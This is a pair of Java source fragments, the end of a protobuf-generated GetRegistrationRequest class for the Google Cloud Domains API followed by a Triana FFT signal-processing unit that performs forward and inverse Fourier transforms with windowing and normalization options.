* `projects/*/locations/*/registrations/*`.
* </pre>
*
* <code>
* string name = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = { ... }
* </code>
*
* @return The bytes for name.
*/
@java.lang.Override
public com.google.protobuf.ByteString getNameBytes() {
java.lang.Object ref = name_;
if (ref instanceof java.lang.String) {
com.google.protobuf.ByteString b =
com.google.protobuf.ByteString.copyFromUtf8((java.lang.String) ref);
name_ = b;
return b;
} else {
return (com.google.protobuf.ByteString) ref;
}
}
private byte memoizedIsInitialized = -1;
@java.lang.Override
public final boolean isInitialized() {
byte isInitialized = memoizedIsInitialized;
if (isInitialized == 1) return true;
if (isInitialized == 0) return false;
memoizedIsInitialized = 1;
return true;
}
@java.lang.Override
public void writeTo(com.google.protobuf.CodedOutputStream output) throws java.io.IOException {
if (!com.google.protobuf.GeneratedMessageV3.isStringEmpty(name_)) {
com.google.protobuf.GeneratedMessageV3.writeString(output, 1, name_);
}
unknownFields.writeTo(output);
}
@java.lang.Override
public int getSerializedSize() {
int size = memoizedSize;
if (size != -1) return size;
size = 0;
if (!com.google.protobuf.GeneratedMessageV3.isStringEmpty(name_)) {
size += com.google.protobuf.GeneratedMessageV3.computeStringSize(1, name_);
}
size += unknownFields.getSerializedSize();
memoizedSize = size;
return size;
}
@java.lang.Override
public boolean equals(final java.lang.Object obj) {
if (obj == this) {
return true;
}
if (!(obj instanceof com.google.cloud.domains.v1.GetRegistrationRequest)) {
return super.equals(obj);
}
com.google.cloud.domains.v1.GetRegistrationRequest other =
(com.google.cloud.domains.v1.GetRegistrationRequest) obj;
if (!getName().equals(other.getName())) return false;
if (!unknownFields.equals(other.unknownFields)) return false;
return true;
}
@java.lang.Override
public int hashCode() {
if (memoizedHashCode != 0) {
return memoizedHashCode;
}
int hash = 41;
hash = (19 * hash) + getDescriptor().hashCode();
hash = (37 * hash) + NAME_FIELD_NUMBER;
hash = (53 * hash) + getName().hashCode();
hash = (29 * hash) + unknownFields.hashCode();
memoizedHashCode = hash;
return hash;
}
public static com.google.cloud.domains.v1.GetRegistrationRequest parseFrom(
java.nio.ByteBuffer data) throws com.google.protobuf.InvalidProtocolBufferException {
return PARSER.parseFrom(data);
}
public static com.google.cloud.domains.v1.GetRegistrationRequest parseFrom(
java.nio.ByteBuffer data, com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws com.google.protobuf.InvalidProtocolBufferException {
return PARSER.parseFrom(data, extensionRegistry);
}
public static com.google.cloud.domains.v1.GetRegistrationRequest parseFrom(
com.google.protobuf.ByteString data)
throws com.google.protobuf.InvalidProtocolBufferException {
return PARSER.parseFrom(data);
}
public static com.google.cloud.domains.v1.GetRegistrationRequest parseFrom(
com.google.protobuf.ByteString data,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws com.google.protobuf.InvalidProtocolBufferException {
return PARSER.parseFrom(data, extensionRegistry);
}
public static com.google.cloud.domains.v1.GetRegistrationRequest parseFrom(byte[] data)
throws com.google.protobuf.InvalidProtocolBufferException {
return PARSER.parseFrom(data);
}
public static com.google.cloud.domains.v1.GetRegistrationRequest parseFrom(
byte[] data, com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws com.google.protobuf.InvalidProtocolBufferException {
return PARSER.parseFrom(data, extensionRegistry);
}
public static com.google.cloud.domains.v1.GetRegistrationRequest parseFrom(
java.io.InputStream input) throws java.io.IOException {
return com.google.protobuf.GeneratedMessageV3.parseWithIOException(PARSER, input);
}
public static com.google.cloud.domains.v1.GetRegistrationRequest parseFrom(
java.io.InputStream input, com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws java.io.IOException {
return com.google.protobuf.GeneratedMessageV3.parseWithIOException(
PARSER, input, extensionRegistry);
}
public static com.google.cloud.domains.v1.GetRegistrationRequest parseDelimitedFrom(
java.io.InputStream input) throws java.io.IOException {
return com.google.protobuf.GeneratedMessageV3.parseDelimitedWithIOException(PARSER, input);
}
public static com.google.cloud.domains.v1.GetRegistrationRequest parseDelimitedFrom(
java.io.InputStream input, com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws java.io.IOException {
return com.google.protobuf.GeneratedMessageV3.parseDelimitedWithIOException(
PARSER, input, extensionRegistry);
}
public static com.google.cloud.domains.v1.GetRegistrationRequest parseFrom(
com.google.protobuf.CodedInputStream input) throws java.io.IOException {
return com.google.protobuf.GeneratedMessageV3.parseWithIOException(PARSER, input);
}
public static com.google.cloud.domains.v1.GetRegistrationRequest parseFrom(
com.google.protobuf.CodedInputStream input,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws java.io.IOException {
return com.google.protobuf.GeneratedMessageV3.parseWithIOException(
PARSER, input, extensionRegistry);
}
@java.lang.Override
public Builder newBuilderForType() {
return newBuilder();
}
public static Builder newBuilder() {
return DEFAULT_INSTANCE.toBuilder();
}
public static Builder newBuilder(com.google.cloud.domains.v1.GetRegistrationRequest prototype) {
return DEFAULT_INSTANCE.toBuilder().mergeFrom(prototype);
}
@java.lang.Override
public Builder toBuilder() {
return this == DEFAULT_INSTANCE ? new Builder() : new Builder().mergeFrom(this);
}
@java.lang.Override
protected Builder newBuilderForType(com.google.protobuf.GeneratedMessageV3.BuilderParent parent) {
Builder builder = new Builder(parent);
return builder;
}
/**
*
*
* <pre>
* Request for the `GetRegistration` method.
* </pre>
*
* Protobuf type {@code google.cloud.domains.v1.GetRegistrationRequest}
*/
public static final class Builder extends com.google.protobuf.GeneratedMessageV3.Builder<Builder>
implements
// @@protoc_insertion_point(builder_implements:google.cloud.domains.v1.GetRegistrationRequest)
com.google.cloud.domains.v1.GetRegistrationRequestOrBuilder {
public static final com.google.protobuf.Descriptors.Descriptor getDescriptor() {
return com.google.cloud.domains.v1.DomainsProto
.internal_static_google_cloud_domains_v1_GetRegistrationRequest_descriptor;
}
@java.lang.Override
protected com.google.protobuf.GeneratedMessageV3.FieldAccessorTable
internalGetFieldAccessorTable() {
return com.google.cloud.domains.v1.DomainsProto
.internal_static_google_cloud_domains_v1_GetRegistrationRequest_fieldAccessorTable
.ensureFieldAccessorsInitialized(
com.google.cloud.domains.v1.GetRegistrationRequest.class,
com.google.cloud.domains.v1.GetRegistrationRequest.Builder.class);
}
// Construct using com.google.cloud.domains.v1.GetRegistrationRequest.newBuilder()
private Builder() {
maybeForceBuilderInitialization();
}
private Builder(com.google.protobuf.GeneratedMessageV3.BuilderParent parent) {
super(parent);
maybeForceBuilderInitialization();
}
private void maybeForceBuilderInitialization() {
if (com.google.protobuf.GeneratedMessageV3.alwaysUseFieldBuilders) {}
}
@java.lang.Override
public Builder clear() {
super.clear();
name_ = "";
return this;
}
@java.lang.Override
public com.google.protobuf.Descriptors.Descriptor getDescriptorForType() {
return com.google.cloud.domains.v1.DomainsProto
.internal_static_google_cloud_domains_v1_GetRegistrationRequest_descriptor;
}
@java.lang.Override
public com.google.cloud.domains.v1.GetRegistrationRequest getDefaultInstanceForType() {
return com.google.cloud.domains.v1.GetRegistrationRequest.getDefaultInstance();
}
@java.lang.Override
public com.google.cloud.domains.v1.GetRegistrationRequest build() {
com.google.cloud.domains.v1.GetRegistrationRequest result = buildPartial();
if (!result.isInitialized()) {
throw newUninitializedMessageException(result);
}
return result;
}
@java.lang.Override
public com.google.cloud.domains.v1.GetRegistrationRequest buildPartial() {
com.google.cloud.domains.v1.GetRegistrationRequest result =
new com.google.cloud.domains.v1.GetRegistrationRequest(this);
result.name_ = name_;
onBuilt();
return result;
}
@java.lang.Override
public Builder clone() {
return super.clone();
}
@java.lang.Override
public Builder setField(
com.google.protobuf.Descriptors.FieldDescriptor field, java.lang.Object value) {
return super.setField(field, value);
}
@java.lang.Override
public Builder clearField(com.google.protobuf.Descriptors.FieldDescriptor field) {
return super.clearField(field);
}
@java.lang.Override
public Builder clearOneof(com.google.protobuf.Descriptors.OneofDescriptor oneof) {
return super.clearOneof(oneof);
}
@java.lang.Override
public Builder setRepeatedField(
com.google.protobuf.Descriptors.FieldDescriptor field, int index, java.lang.Object value) {
return super.setRepeatedField(field, index, value);
}
@java.lang.Override
public Builder addRepeatedField(
com.google.protobuf.Descriptors.FieldDescriptor field, java.lang.Object value) {
return super.addRepeatedField(field, value);
}
@java.lang.Override
public Builder mergeFrom(com.google.protobuf.Message other) {
if (other instanceof com.google.cloud.domains.v1.GetRegistrationRequest) {
return mergeFrom((com.google.cloud.domains.v1.GetRegistrationRequest) other);
} else {
super.mergeFrom(other);
return this;
}
}
public Builder mergeFrom(com.google.cloud.domains.v1.GetRegistrationRequest other) {
if (other == com.google.cloud.domains.v1.GetRegistrationRequest.getDefaultInstance())
return this;
if (!other.getName().isEmpty()) {
name_ = other.name_;
onChanged();
}
this.mergeUnknownFields(other.unknownFields);
onChanged();
return this;
}
@java.lang.Override
public final boolean isInitialized() {
return true;
}
@java.lang.Override
public Builder mergeFrom(
com.google.protobuf.CodedInputStream input,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws java.io.IOException {
com.google.cloud.domains.v1.GetRegistrationRequest parsedMessage = null;
try {
parsedMessage = PARSER.parsePartialFrom(input, extensionRegistry);
} catch (com.google.protobuf.InvalidProtocolBufferException e) {
parsedMessage =
(com.google.cloud.domains.v1.GetRegistrationRequest) e.getUnfinishedMessage();
throw e.unwrapIOException();
} finally {
if (parsedMessage != null) {
mergeFrom(parsedMessage);
}
}
return this;
}
private java.lang.Object name_ = "";
/**
*
*
* <pre>
* Required. The name of the `Registration` to get, in the format
* `projects/*/locations/*/registrations/*`.
* </pre>
*
* <code>
* string name = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = { ... }
* </code>
*
* @return The name.
*/
public java.lang.String getName() {
java.lang.Object ref = name_;
if (!(ref instanceof java.lang.String)) {
com.google.protobuf.ByteString bs = (com.google.protobuf.ByteString) ref;
java.lang.String s = bs.toStringUtf8();
name_ = s;
return s;
} else {
return (java.lang.String) ref;
}
}
/**
*
*
* <pre>
* Required. The name of the `Registration` to get, in the format
* `projects/*/locations/*/registrations/*`.
* </pre>
*
* <code>
* string name = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = { ... }
* </code>
*
* @return The bytes for name.
*/
public com.google.protobuf.ByteString getNameBytes() {
java.lang.Object ref = name_;
if (ref instanceof String) {
com.google.protobuf.ByteString b =
com.google.protobuf.ByteString.copyFromUtf8((java.lang.String) ref);
name_ = b;
return b;
} else {
return (com.google.protobuf.ByteString) ref;
}
}
/**
*
*
* <pre>
* Required. The name of the `Registration` to get, in the format
* `projects/*/locations/*/registrations/*`.
* </pre>
*
* <code>
* string name = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = { ... }
* </code>
*
* @param value The name to set.
* @return This builder for chaining.
*/
public Builder setName(java.lang.String value) {
if (value == null) {
throw new NullPointerException();
}
name_ = value;
onChanged();
return this;
}
/**
*
*
* <pre>
* Required. The name of the `Registration` to get, in the format
* `projects/*/locations/*/registrations/*`.
* </pre>
*
* <code>
* string name = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = { ... }
* </code>
*
* @return This builder for chaining.
*/
public Builder clearName() {
name_ = getDefaultInstance().getName();
onChanged();
return this;
}
/**
*
*
* <pre>
* Required. The name of the `Registration` to get, in the format
* `projects/*/locations/*/registrations/*`.
* </pre>
*
* <code>
* string name = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = { ... }
* </code>
*
* @param value The bytes for name to set.
* @return This builder for chaining.
*/
public Builder setNameBytes(com.google.protobuf.ByteString value) {
if (value == null) {
throw new NullPointerException();
}
checkByteStringIsUtf8(value);
name_ = value;
onChanged();
return this;
}
@java.lang.Override
public final Builder setUnknownFields(final com.google.protobuf.UnknownFieldSet unknownFields) {
return super.setUnknownFields(unknownFields);
}
@java.lang.Override
public final Builder mergeUnknownFields(
final com.google.protobuf.UnknownFieldSet unknownFields) {
return super.mergeUnknownFields(unknownFields);
}
// @@protoc_insertion_point(builder_scope:google.cloud.domains.v1.GetRegistrationRequest)
}
// @@protoc_insertion_point(class_scope:google.cloud.domains.v1.GetRegistrationRequest)
private static final com.google.cloud.domains.v1.GetRegistrationRequest DEFAULT_INSTANCE;
static {
DEFAULT_INSTANCE = new com.google.cloud.domains.v1.GetRegistrationRequest();
}
public static com.google.cloud.domains.v1.GetRegistrationRequest getDefaultInstance() {
return DEFAULT_INSTANCE;
}
private static final com.google.protobuf.Parser<GetRegistrationRequest> PARSER =
new com.google.protobuf.AbstractParser<GetRegistrationRequest>() {
@java.lang.Override
public GetRegistrationRequest parsePartialFrom(
com.google.protobuf.CodedInputStream input,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws com.google.protobuf.InvalidProtocolBufferException {
return new GetRegistrationRequest(input, extensionRegistry);
}
};
public static com.google.protobuf.Parser<GetRegistrationRequest> parser() {
return PARSER;
}
@java.lang.Override
public com.google.protobuf.Parser<GetRegistrationRequest> getParserForType() {
return PARSER;
}
@java.lang.Override
public com.google.cloud.domains.v1.GetRegistrationRequest getDefaultInstanceForType() {
return DEFAULT_INSTANCE;
}
}
| |
package signalproc.algorithms;
import org.trianacode.taskgraph.Unit;
import triana.types.*;
import triana.types.audio.MultipleAudio;
import triana.types.util.FlatArray;
import triana.types.util.SigAnalWindows;
import triana.types.util.Str;
import triana.types.util.Triplet;
import java.util.ArrayList;
/**
* A FFT unit to perform a Fast Fourier Transform on the input data.
* <p/>
* If the input implements the Signal Interface, then signal parameters (sampling rate, etc) are used to produce a
* correctly normalized spectrum, ie an approximation to the continuous FT. If the input data are real, then the output
* are one-sided. The output is a ComplexSpectrum data type.
* <p/>
* If the input data implements Spectral, then an inverse FFT is performed. If the data are one-sided, the the output is
* a SampleSet. If the data are two-sided, then the output is a ComplexSampleSet. If the data are narrow-band, they are
* converted to full bandwidth (padding with zeroes) before the inverse transform is applied. In each case, the
* normalization is based on the data in the Spectral data set.
* <p/>
* If the input data does not implement the Spectral or Signal Interfaces, then it is assumed to require a direct
* (forward) FFT, and the output is a ComplexSpectrum data set with no normalization applied. This is the same as for an
* input SampleSet with sampling frequency = 1.
* <p/>
* If this automatic behavior is not desired, then use the Units DirectFFT and InverseFFT instead. These Units always
* perform the FFT in the indicated direction and apply no normalization, not even the 1/N. Their output is always a
* VectorType (real or complex as appropriate) and the data are always two-sided.
* <p/>
* If the input data are not uniformly sampled, then an error is generated and no output takes place.
* <p/>
* The FFT is performed using the FFTC algorithm.
*
* @author Ian Taylor
* @author B F Schutz
* @version 2.11 09 March 2001
* @see FFTC
* @see triana.types.Spectral
* @see triana.types.Signal
* @see triana.types.ComplexSpectrum
* @see triana.types.Spectrum
* @see triana.types.SampleSet
* @see triana.types.ComplexSampleSet
*/
public class FFT extends Unit {
String style = "Automatic";
String WindowFunction = "(none)";
boolean padding = false;
String opt = "MaximumSpeed";
FFTC fft;
/**
* ********************************************* ** A Java FFT algorithm ***
* *********************************************
*/
public void process() throws Exception {
GraphType result = null;
GraphType input;
int points = 1;
int points0 = 1;
int kk, j;
int targetN = 1;
double sf = 0;
double sf0 = 0;
double maxFreq = 0.5;
double maxFreq0 = 0.5;
boolean applyNorm = true;
double norm = 1;
double norm0 = 1;
double resolution = 1;
double resolution0 = 1;
boolean direct = true;
boolean oneSide = true;
boolean conjugateSymmetric = false;
boolean conjugateAntisymmetric = false;
int conjugateAnswer = 0;
boolean speed = opt.equals("MaximumSpeed");
double[] dataR = null;
double[] dataI = null;
double[] real = null;
double[] imag = null;
double[][] mdataR = null;
double[][] mdataI = null;
double[][] mreal = null;
double[][] mimag = null;
Class inClass = null;
Class[] inClasses = null;
int numberOfChannels = 1;
ArrayList dataList = null;
int[] chSize = null;
String acqTime = "";
input = (GraphType) getInputAtNode(0);
if (input instanceof MultipleAudio) {
MultipleAudio au = (MultipleAudio) input;
double[] data = (double[]) au.getDataArrayRealAsDoubles(0);
input = new SampleSet(au.getAudioChannelFormat(0).getSamplingRate(), data);
}
boolean oneD = (input instanceof VectorType);
boolean twoD = (input instanceof MatrixType);
boolean multipleOneD = (input instanceof MultipleAudio);
boolean inputSignal = (input instanceof Signal);
if (inputSignal) {
acqTime = (new StringBuffer("FFT: Acquistion time of first sample of data from which output is built = "))
.append(((Signal) input).getAcquisitionTime()).toString();
}
/* Debugging output
println("Got input." );
System.out.print("It is of type ");
if ( input instanceof Signal ) println("Signal.");
else if (input instanceof Spectral ) println("Spectral. It contains parameter nFull = " + String.valueOf(((Spectral)input).getOriginalN(0) ) );
*/
if (padding) {
if (oneD) {
points = ((VectorType) input).size();
targetN = 1;
while (targetN < points) {
targetN *= 2;
}
if (targetN > points) {
((VectorType) input).extendWithZeros(targetN, false);
}
} else if (twoD) {
// padding not yet implemented for matrices
} else if (multipleOneD) {
// padding not yet implemented in MultipleAudio
}
}
// implement windowing only for one-dimensional transforms of single vectors
if (oneD && !WindowFunction.equals("(none)")) {
input = (VectorType) SigAnalWindows.applyWindowFunction((VectorType) input, WindowFunction, true);
}
// println("Got past window function.");
boolean inputComplex = input.isDependentComplex(0);
if (oneD) {
inClass = input.getDataArrayClass(0);
dataR = ((VectorType) input).getDataReal();
dataI = null;
if (inputComplex) {
dataI = ((VectorType) input).getDataImag();
}
points = ((VectorType) input).size();
} else if (twoD) {
inClass = input.getDataArrayClass(0);
mdataR = ((MatrixType) input).getDataReal();
mdataI = null;
if (inputComplex) {
mdataI = ((MatrixType) input).getDataImag();
}
points = (((MatrixType) input).size())[1];
points0 = (((MatrixType) input).size())[0];
} else if (multipleOneD) {
numberOfChannels = input.getDependentVariables();
inClasses = new Class[numberOfChannels];
dataList = new ArrayList(numberOfChannels);
dataR = (double[]) ((MultipleAudio) input).getDataArrayReal(0);
dataI = null;
points = ((MultipleAudio) input).getChannelLength(0);
/* for ( int ch = 0; ch < numberOfChannels; ch++ ) {
inClasses[ ch ] = input.getDataArrayClass( ch );
dataList.add( ((MultipleAudio)input).getDataArrayReal( ch ) );
chSize[ ch ] = ((MultipleAudio)input).getChannelLength( ch );
} */
}
// println("Got size = " + String.valueOf( points ) );
if (style.equals("Direct")) {
applyNorm = false;
direct = true;
oneSide = false;
if (oneD) {
sf = 1.0 / ((VectorType) input).getXTriplet().getStep();
}
if (twoD) {
sf = 1.0 / ((MatrixType) input).getXorYTriplet(1).getStep();
sf0 = 1.0 / ((MatrixType) input).getXorYTriplet(0).getStep();
resolution0 = sf0 / points0;
maxFreq0 = resolution0 * (points0 / 2);
}
resolution = sf / points;
maxFreq = resolution * (points / 2);
} else if (style.equals("Direct/normalized(1/N)")) {
applyNorm = true;
direct = true;
norm = 1. / points;
oneSide = false;
if (oneD) {
sf = 1.0 / ((VectorType) input).getXTriplet().getStep();
}
if (twoD) {
sf = 1.0 / ((MatrixType) input).getXorYTriplet(1).getStep();
sf0 = 1.0 / ((MatrixType) input).getXorYTriplet(0).getStep();
resolution0 = sf0 / points0;
maxFreq0 = resolution0 * (points0 / 2);
norm0 = 1. / points0;
}
resolution = sf / points;
maxFreq = resolution * (points / 2);
} else if (style.equals("Inverse")) {
applyNorm = false;
direct = false;
oneSide = false;
if (oneD) {
resolution = ((VectorType) input).getXTriplet().getStep();
}
if (twoD) {
resolution = ((MatrixType) input).getXorYTriplet(1).getStep();
resolution0 = ((MatrixType) input).getXorYTriplet(0).getStep();
sf0 = resolution0 * points0;
}
sf = resolution * points;
} else if (style.equals("Inverse/normalized(1/N)")) {
applyNorm = true;
direct = false;
norm = 1. / points;
oneSide = false;
if (oneD) {
resolution = ((VectorType) input).getXTriplet().getStep();
}
if (twoD) {
resolution = ((MatrixType) input).getXorYTriplet(1).getStep();
resolution0 = ((MatrixType) input).getXorYTriplet(0).getStep();
sf0 = resolution0 * points0;
norm0 = 1. / points0;
}
sf = resolution * points;
} else if (style.equals("Automatic")) {
if (input instanceof Signal) {
// println("Input is Signal.");
applyNorm = true;
sf = ((Signal) input).getSamplingRate();
resolution = sf / points;
maxFreq = resolution * (points / 2);
norm = 1. / sf;
// println("Signal object: norm = " + String.valueOf(norm) + ", resolution = " + String.valueOf(resolution) );
direct = true;
if (speed) {
oneSide = false;
} else {
oneSide = !inputComplex;
}
// println("About to test conjugate symmetry.");
if (!speed) {
conjugateAnswer = fft.testConjugateSymmetry(dataR, dataI);
if (conjugateAnswer == 1) {
conjugateSymmetric = true;
} else if (conjugateAnswer == -1) {
conjugateAntisymmetric = true;
}
// println("Result of test: " + String.valueOf(conjugateSymmetric) + " " + String.valueOf(conjugateAntisymmetric) );
}
} else if (input instanceof Spectral) {
// println("Input is Spectral.");
applyNorm = true;
if (oneD) {
oneSide = !((Spectral) input).isTwoSided();
} else {
oneSide = false;
}
resolution = ((Spectral) input).getFrequencyResolution(0);
if (twoD) {
resolution = ((Spectral) input).getFrequencyResolution(1);
resolution0 = ((Spectral) input).getFrequencyResolution(0);
}
// println("About to convert from dataR with first element = " + String.valueOf(dataR[0]) + ", original N = " + String.valueOf(((Spectral)input).getOriginalN( 0 )) );
if (oneSide || ((Spectral) input).isNarrow(0)) {
dataR = FlatArray.convertToFullSpectrum(dataR, ((Spectral) input).getOriginalN(0), oneSide, true,
((Spectral) input).isNarrow(0), (int) Math
.round(((Spectral) input).getLowerFrequencyBound(0) / ((Spectral) input)
.getFrequencyResolution(0)));
System.out.println("Calling convertToFullSpectrum with arguments:");
System.out.println("nfull = " + String.valueOf(((Spectral) input).getOriginalN(0)));
System.out.println("oneside = " + String.valueOf(oneSide));
System.out.println("narrow = " + String.valueOf(((Spectral) input).isNarrow(0)));
System.out.println("low index = " + String.valueOf((int) Math
.round(((Spectral) input).getLowerFrequencyBound(0) / ((Spectral) input)
.getFrequencyResolution(0))));
int pd;
System.out.println("Real data full spectrum:");
for (pd = 0; pd < dataR.length; pd++) {
System.out.println(String.valueOf(dataR[pd]));
}
if (inputComplex) {
dataI = FlatArray
.convertToFullSpectrum(dataI, ((Spectral) input).getOriginalN(0), oneSide, false,
((Spectral) input).isNarrow(0), (int) Math
.round(((Spectral) input).getLowerFrequencyBound(0) / ((Spectral) input)
.getFrequencyResolution(0)));
System.out.println("Imaginary data full spectrum:");
for (pd = 0; pd < dataI.length; pd++) {
System.out.println(String.valueOf(dataI[pd]));
}
}
}
norm = resolution;
// println("Spectral object: norm = " + String.valueOf(norm) + ", resolution = " + String.valueOf(resolution) );
points = ((Spectral) input).getOriginalN(0);
sf = resolution * points;
if (twoD) {
points = ((Spectral) input).getOriginalN(1);
sf = resolution * points;
norm0 = resolution0;
points0 = ((Spectral) input).getOriginalN(0);
sf0 = resolution0 * points0;
maxFreq0 = resolution0 * (points0 / 2);
;
}
maxFreq = resolution * (points / 2);
direct = false;
if (!speed && oneD) {
if (oneSide) {
conjugateSymmetric = true;
} else {
conjugateAnswer = fft.testConjugateSymmetry(dataR, dataI);
if (conjugateAnswer == 1) {
conjugateSymmetric = true;
} else if (conjugateAnswer == -1) {
conjugateAntisymmetric = true;
}
}
// println("Result of test: " + String.valueOf(conjugateSymmetric) + " " + String.valueOf(conjugateAntisymmetric) );
}
} else {
sf = 1.0;
applyNorm = false;
resolution = 1.0 / points;
maxFreq = resolution * (points / 2);
// println("Other object: norm = " + String.valueOf(norm) + ", resolution = " + String.valueOf(resolution) );
direct = true;
if (twoD) {
oneSide = false;
sf0 = 1.0;
resolution0 = 1.0 / points0;
maxFreq0 = resolution0 * (points0 / 2);
} else {
if (speed) {
oneSide = false;
} else {
oneSide = !inputComplex;
}
if (!speed) {
conjugateAnswer = fft.testConjugateSymmetry(dataR, dataI);
if (conjugateAnswer == 1) {
conjugateSymmetric = true;
} else if (conjugateAnswer == -1) {
conjugateAntisymmetric = true;
}
// println("Result of test: " + String.valueOf(conjugateSymmetric) + " " + String.valueOf(conjugateAntisymmetric) );
}
}
}
}
ArrayList fourier;
if (oneD) {
real = dataR;
if (dataI != null) {
imag = dataI;
} else {
imag = new double[points];
}
// println("Going into FFT_C.");
fourier = fft.FFT_C(real, imag, direct, false);
real = (double[]) fourier.get(0);
imag = (double[]) fourier.get(1);
if (applyNorm) {
for (j = 0; j < real.length; j++) {
real[j] *= norm;
imag[j] *= norm;
}
}
} else if (twoD) {
mreal = mdataR;
if (mdataI != null) {
mimag = mdataI;
} else {
mimag = new double[points0][points];
}
int row, column;
for (row = 0; row < points0; row++) {
fourier = fft.FFT_C(mreal[row], mimag[row], direct, false);
mreal[row] = (double[]) fourier.get(0);
mimag[row] = (double[]) fourier.get(1);
}
if (applyNorm) {
norm *= norm0;
}
double[][] transposeReal = new double[points][points0];
double[][] transposeImag = new double[points][points0];
for (row = 0; row < points0; row++) {
for (column = 0; column < points; column++) {
transposeReal[column][row] = mreal[row][column];
transposeImag[column][row] = mimag[row][column];
}
}
for (column = 0; column < points; column++) {
fourier = fft.FFT_C(transposeReal[column], transposeImag[column], direct, false);
transposeReal[column] = (double[]) fourier.get(0);
transposeImag[column] = (double[]) fourier.get(1);
if (applyNorm) {
for (j = 0; j < points0; j++) {
transposeReal[column][j] *= norm;
transposeImag[column][j] *= norm;
}
}
}
for (row = 0; row < points0; row++) {
for (column = 0; column < points; column++) {
mreal[row][column] = transposeReal[column][row];
mimag[row][column] = transposeImag[column][row];
}
}
}
/* Debugging output
println("Exited from FFT_C with data real:");
for( kk = 0; kk < real.length; kk++) System.out.print(String.valueOf(real[kk]) + " " );
println(" ");
println("and imag:");
for( kk = 0; kk < imag.length; kk++) System.out.print(String.valueOf(imag[kk]) + " " );
println(" ");
*/
/*
* Begin output
*/
if ((style.equals("Direct")) || (style.equals("Direct/normalized(1/N)"))) {
System.out.println("Pos3: " + String.valueOf(points) + " " + String.valueOf(resolution) + " " + String
.valueOf(maxFreq));
if (oneD) {
result = new ComplexSpectrum(true, false, real, imag, points, resolution, maxFreq);
} else if (twoD) {
double[] df = {resolution0, resolution};
result = new Spectrum2D(mreal, mimag, df);
}
} else if ((style.equals("Inverse")) || (style.equals("Inverse/normalized(1/N)"))) {
if (oneD) {
result = new ComplexSampleSet(sf, real, imag);
} else if (twoD) {
result = new MatrixType(new Triplet(points0, 0, 1. / sf0), new Triplet(points, 0, 1. / sf), mreal,
mimag);
}
} else if (style.equals("Automatic")) {
if (input instanceof Spectral) {
// println("Output route for input being Spectral:");
if (oneD) {
if (!speed) {
if (conjugateSymmetric) {
// println("conjugateSymmetric is true.");
result = new SampleSet(sf, real);
} else {
// println("conjugateSymmetric is false.");
if (conjugateAntisymmetric) {
// println("conjugateAntisymmetric is true.");
FlatArray.initializeArray(real);
}
result = new ComplexSampleSet(sf, real, imag);
}
} else {
result = new ComplexSampleSet(sf, real, imag);
}
} else if (twoD) {
result = new MatrixType(new Triplet(points0, 0, sf0), new Triplet(points, 0, sf), mreal, mimag);
}
} else {
if (oneD) {
if (!speed) {
// println("Output route for input NOT being Spectral:");
if (conjugateSymmetric) {
// println("conjugateSymmetric is true.");
if (oneSide) {
real = FlatArray.convertToOneSided(real, points, false, true);
}
result = new Spectrum(!oneSide, false, real, points, resolution, maxFreq);
} else {
// println("conjugateSymmetric is false.");
if (conjugateAntisymmetric) {
// println("conjugateAntisymmetric is true.");
if (oneSide) {
real = FlatArray.convertToOneSided(real, points, false, true);
imag = FlatArray.convertToOneSided(imag, points, false, true);
}
} else {
// println("Neither conjugateSymmetric not conjugateAntisymmetric is true.");
if (oneSide) {
real = FlatArray.convertToOneSided(real, points, false, true);
imag = FlatArray.convertToOneSided(imag, points, false, true);
}
}
}
/* Debugging output
println("About to create ComplexSpectrum with data real:");
for( kk = 0; kk < real.length; kk++) System.out.print(String.valueOf(real[kk]) + " " );
println(" ");
println("and imag:");
for( kk = 0; kk < imag.length; kk++ ) System.out.print(String.valueOf(imag[kk]) + " " );
println(" ");
println("Number of points = " + String.valueOf(points));
*/
System.out.println(
"Pos1: " + String.valueOf(points) + " " + String.valueOf(resolution) + " " + String
.valueOf(maxFreq));
result = new ComplexSpectrum(!oneSide, false, real, imag, points, resolution, maxFreq);
} else {
System.out.println(
"Pos2: " + String.valueOf(points) + " " + String.valueOf(resolution) + " " + String
.valueOf(maxFreq));
result = new ComplexSpectrum(true, false, real, imag, points, resolution, maxFreq);
}
} else if (twoD) {
double[] df = {resolution0, resolution};
result = new Spectrum2D(mreal, mimag, df);
}
}
}
//if ( inputSignal) result.addToLegend( acqTime );
if (input.getTitle() != null) {
result.setTitle(input.getTitle());
}
output(result);
}
/**
* Initialses information specific to FFT.
*/
public void init() {
super.init();
// setUseGUIBuilder(true);
setMinimumInputNodes(1);
setMaximumInputNodes(1);
setDefaultInputNodes(1);
setMinimumOutputNodes(1);
setDefaultOutputNodes(1);
// This is to ensure that we receive arrays containing double-precision numbers
// setRequireDoubleInputs(true);
// setCanProcessDoubleArrays(true);
defineParameter("style", "Automatic", USER_ACCESSIBLE);
defineParameter("opt", "MaximumSpeed", USER_ACCESSIBLE);
defineParameter("WindowFunction", "Rectangle", USER_ACCESSIBLE);
defineParameter("padding", "false", USER_ACCESSIBLE);
String guilines = "";
guilines += "Operation of transform: $title style Choice Automatic Direct Direct/normalized(1/N) Inverse Inverse/normalized(1/N)\n";
guilines += "For 1D transform, optimize for: $title opt Choice MaximumSpeed MinimumStorage\n";
guilines += "For 1D transform, apply this window to the data: $title WindowFunction Choice " + SigAnalWindows.listOfWindows() + "\n";
guilines += "For 1D transform, pad input with zeros to a power of 2: $title padding Checkbox false\n";
//System.out.println("guilines = " + guilines);
setGUIBuilderV2Info(guilines);
}
/**
* @return the GUI information for this unit. It uses the addGUILine function to add lines to the GUI interface.
* Such lines must in the specified GUI text format.
*/
// public void setGUIInformation() {
// addGUILine(
// "Operation of transform: $title style Choice Automatic Direct Direct/normalized(1/N) Inverse Inverse/normalized(1/N)");
